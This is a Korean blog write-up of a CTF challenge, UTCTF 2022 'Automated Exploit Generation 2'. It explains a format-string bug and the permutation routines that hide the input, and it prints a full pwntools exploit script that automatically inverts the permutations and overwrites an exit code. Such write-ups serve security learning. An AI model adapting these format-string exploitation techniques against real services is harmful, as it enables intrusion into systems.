Sechack

UTCTF 2022 - Automated Exploit Generation 2 풀이 본문

CTF

UTCTF 2022 - Automated Exploit Generation 2 풀이

Sechack 2022. 3. 12. 23:35
반응형

하나의 서비스를 exploit하는 일반적인 포너블과는 다르게 바이너리의 특정 부분이 계속해서 바뀌고 바뀐 부분을 자동으로 읽어내서 여러번 exploit하는 AEG문제이다. 디스어셈블 결과나 opcode에서 필요한 부분을 읽어와서 exploit에 적용해야 하므로 약간의 코딩 능력이 필요하다.

 

 

문제에서 주는 nc주소에 접속해보면 hexdump로 출력한듯한 내용을 준다. 그리고 60초 내에 입력을 줘야하고 프로그램의 exit code를 주어진대로 만들어야한다. 저걸 받아와서 IDA로 분석해보자.

 

 

프로그램 구조는 간단하다. 그냥 fsb터진다. exit_code를 원하는 값으로 덮으면 된다. 문제는 permute함수인데 안에 들어가보면

 

 

이런식으로 함수들을 순서대로 호출한다. permute라는 이름만 봐도 알 수 있고 루틴을 조금만 봐도 알 수 있듯이 단순히 입력한 값들의 배열을 정해진대로 바꿔주는 루틴이다. 따라서 정상적인 fsb payload를 실행시키기 위해서는 이 루틴들을 역연산 짜서 정상적인 payload가 들어가게 해야한다.

 

 

대충 하나 들어가서 보면 이런식으로 구성되어있다. 8개의 함수가 전부 이런식으로 배열만 바꾸게끔 구현되어 있으니 역연산을 짜기는 매우 쉽다. 좌변과 우변을 바꿔주기만 하면 된다.

 

그리고 바이너리를 받아올때마다 몇몇 함수에서 배열을 바꿀때 참조하는 인덱스, 8개의 함수 호출 순서가 바뀐다. 따라서 이부분을 바이너리 받을때마다 읽어내서 exploit code에 적용해야한다. subprocess로 objdump실행해서 디스어셈블 결과 긁어오거나 직접 opcode를 참조해서 원하는 값을 얻어내는 방법 등이 있다. pwntools에 바이너리를 디스어셈블 하는 기능이 자체적으로 있길래 나는 그 기능을 사용했다.

 

총 10번의 exploit을 수행하면 flag를 준다. full exploit은 아래와 같다.

 

from pwn import *
import struct

r = remote("pwn.utctf.live", 5002)
e = ""

def invpermute4(a):
    idx = 24
    if "mov" not in e.disasm(e.sym["permute4"], 0x10d).split("\n")[24]:
        idx = 25
    num = int(e.disasm(e.sym["permute4"], 0x10d).split("\n")[idx][70:], 16)
    v5 = [0 for i in range(512)]

    for i in range(num, 512):
        v5[i - num] = a[i]
    for i in range(num):
        v5[i + 512 - num] = a[i]

    return v5

def invpermute3(a):
    num = int(e.disasm(e.sym["permute3"], 0x119).split("\n")[25][70:], 16)
    v5 = [0 for i in range(512)]

    for i in range(num, 512):
        v5[i - 512 + 512 - num] = a[i]
    for i in range(num):
        v5[i + 512 - num] = a[i]

    return v5

def invpermute2(a):
    v5 = [0 for i in range(512)]

    for i in range(256, 512):
        v5[i - 256] = a[i]
    for i in range(256):
        v5[i + 256] = a[i]

    return v5

def invpermute7(a):
    num = int(e.disasm(e.sym["permute7"], 0x122).split("\n")[40][70:], 16)
    if num > 512:
        num = num & 0xff
    v5 = [0 for i in range(512)]

    for i in range(0, 512, num):
        v5[i + num - 1] = a[i]
        for j in range(i+1, i+num):
            v5[j - 1] = a[j]
        
    return v5

def invpermute6(a):
    num = int((e.disasm(e.sym["permute6"], 0x122).split("\n")[38][70:]), 16)
    if num > 512:
        num = num & 0xff
    v5 = [0 for i in range(512)]

    for i in range(0, 512,num):
        for j in range(i, i+num-1):
            v5[j + 1] = a[j]
        v5[i] = a[i + num - 1]

    return v5

def invpermute5(a):
    v5 = [0 for i in range(512)]

    for i in range(0, 512, 2):
        v5[i + 1] = a[i]
        v5[i] = a[i + 1]

    return v5

def invpermute8(a):
    num = int(e.disasm(e.sym["permute8"], 0x122).split("\n")[32][70:], 16)
    if num > 512:
        num = num & 0xff
    v5 = [0 for i in range(512)]

    for i in range(0, 512, num):
        for j in range(i, i+num):
            v5[2 * (i + num//2) - 1 - j] = a[j]

    return v5

def invpermute1(a):
    v5 = [0 for i in range(512)]

    for i in range(512):
        v5[512 - i - 1] = a[i]
    
    return v5

def inverse(string):
    revdata = list(string)

    for i in range(28, 6, -3):
        addr = int(e.disasm(e.sym["permute"], 0x73).split("\n")[i][47:], 16)
        
        if addr == e.sym["permute1"]:
            revdata = invpermute1(revdata)
        elif addr == e.sym["permute2"]:
            revdata = invpermute2(revdata)
        elif addr == e.sym["permute3"]:
            revdata = invpermute3(revdata)
        elif addr == e.sym["permute4"]:
            revdata = invpermute4(revdata)
        elif addr == e.sym["permute5"]:
            revdata = invpermute5(revdata)
        elif addr == e.sym["permute6"]:
            revdata = invpermute6(revdata)
        elif addr == e.sym["permute7"]:
            revdata = invpermute7(revdata)
        elif addr == e.sym["permute8"]:
            revdata = invpermute8(revdata)

    return bytes(revdata)

r.sendafter("binary.\n", "\n")

for i in range(10):
    binary = b""
    while True:
        re = r.recvline()
        #print(re)
        if len(re) < 50:
            break
        data = re[10:50].strip().replace(b" ", b"")
        for i in range(1, 17):
            binary += int(data[i*2-2:i*2], 16).to_bytes(1, byteorder="big")

    open("./autobin", "wb").write(binary)

    #r = process("./autobin")
    e = ELF("./autobin")

    r.recvuntil("code ")
    code = int(r.recvline())
    #code = 64
    print("code", code)
    fsb = "%{}c%12$ln".format(code).encode()
    fsb += b"a"*(0x20 - len(fsb))+p64(0x40405C)
    #r.sendline(inverse(fsb+b"7"*(512 - len(fsb))))
    r.sendlineafter("input:", inverse(fsb+b"7"*(512 - len(fsb))))

    r.recvline()
    r.recvline()

r.interactive()

 

어쩌다 보니까 코드가 152줄로 꽤 길어졌는데 바이너리 받아와서 자동으로 익스플로잇 하는 익스코드이다. 원래 드림핵에서 한번 AEG관련 문제를 풀어본적이 있어서 빠르게 풀줄 알았는데 4시간이나 걸렸다. 생각보다 신경쓸 부분이 많았다. 그리고 위 익스코드도 세세한 부분은 처리를 잘 안해줘서(예를들면 offset이 0xffffff80 꼴로 들어간다거나 디스어셈블 결과에 개행이 약간 다르거나) 거의 50%확률로 out of range가 나면서 익스플로잇이 끊긴다. 아무튼 몇번 실행하다보면 플래그 얻을 수 있다. 만약에 10번이 아니라 100번 exploit했어야되는거였으면 세세한거까지 맞춰줬어야 되서 좀 더 시간이 걸렸을것 같다.

 

 

몇번 실행하다보면 플래그가 나온다.

반응형

'CTF' 카테고리의 다른 글

DEF CON CTF - Hash It 풀이  (0) 2022.05.30
DCTF 2022 - Pwnable write up  (0) 2022.04.17
Codegate 2022 Junior 예선 Write up + 후기  (0) 2022.02.28
Dice CTF 2022 - baby-rop 풀이  (0) 2022.02.08
2021 Layer7 CTF write up  (0) 2021.11.21
Comments